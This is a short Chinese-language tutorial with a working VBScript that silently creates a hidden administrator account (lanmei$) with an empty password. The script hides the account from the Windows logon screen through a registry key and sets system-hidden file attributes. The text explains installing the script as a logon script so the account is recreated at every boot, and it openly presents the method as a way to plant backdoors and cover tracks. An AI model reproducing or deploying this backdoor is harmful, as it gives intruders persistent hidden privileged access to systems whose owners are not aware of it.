打造Windows超级隐藏用户

hide.vbs

WScript.Sleep 10000

set fso = createobject("scripting.filesystemobject")

fso.GetParentFolderName(WScript.ScriptFullName)

set ws=wscript.createobject("wscript.shell")

ws.run "net user lanmei$ /add",0

ws.run "net localgroup administrators lanmei$ /add",0

ws.run "REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v lanmei$ /t REG_DWORD /d 00000000",0

ws.run "attrib hide.bat +h +s +r",0

将此文件加入 Windows登陆脚本（方法：Win+R-gpedit.msc-用户配置-Windows设置-“脚本-（登陆/注销”-登陆-添加-浏览-找到hide.vbs-脚本参数-0CmdLine），然后在每次开机之后系统都会多出一个用户名为lanmei空口令的管理员帐号，登陆时使用ctrl+alt+del(twice)输入帐号密码。

PS：此文本运行后会自动加系统级隐藏属性，想要删除帐号在命令行模式下输入net user lanmei$ /del

如果想要让帐号更安全，登陆lanmei帐号，设置hide.vbs权限， gpedit.msc权限，mmc权限……

同样的，此方法只是思路，思路弄懂了，改一改可以适用于各类系统，隐藏后门，扫脚印……